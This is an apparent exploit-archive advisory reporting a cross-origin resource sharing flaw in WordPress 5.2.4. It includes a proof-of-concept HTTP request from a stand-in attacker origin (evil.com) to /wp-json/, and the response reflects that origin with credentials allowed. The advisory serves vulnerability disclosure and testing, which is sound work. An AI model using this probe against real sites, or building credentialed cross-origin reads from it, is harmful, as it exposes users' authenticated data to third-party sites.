WordPress 5.2.4 Cross Origin Resource Sharing

WordPress version 5.2.4 fails to validate an origin header.

MD5 | 1db094f57934f8621b34b78783495b19

# Exploit Title: Wordpress 5.2.4 - Cross-Origin Resource Sharing
# Date: 2019-10-28
# Exploit Author: Milad Khoshdel
# Software Link: https://wordpress.org/download/
# Version: Wordpress 5.2.4
# Tested on: Linux Apache/2 PHP/7.2

# Vulnerable Page:

# POC:
# The web application fails to properly validate the Origin header (check Details section for more information)
# and returns the header Access-Control-Allow-Credentials: true. In this configuration any website can issue
# requests made with user credentials and read the responses to these requests. Trusting arbitrary
# origins effectively disables the same-origin policy, allowing two-way interaction by third-party web sites.


GET /wp-json/ HTTP/1.1
Origin: https://www.evil.com
Accept: */*
Accept-Encoding: gzip,deflate
Host: [Your-Domain]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Connection: Keep-alive


HTTP/1.1 200 OK
Date: Mon, 28 Oct 2019 07:34:39 GMT
Server: NopeJS
X-Robots-Tag: noindex
Link: <https://[Your-Domain].com/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages
Access-Control-Allow-Headers: Authorization, Content-Type
Allow: GET
Access-Control-Allow-Origin: https://www.evil.com
Access-Control-Allow-Methods: OPTIONS, GET, POST, PUT, PATCH, DELETE
Access-Control-Allow-Credentials: true
Vary: Origin,Accept-Encoding,User-Agent
Keep-Alive: timeout=2, max=73
Connection: Keep-Alive
Content-Type: application/json; charset=UTF-8
Original-Content-Encoding: gzip
Content-Length: 158412

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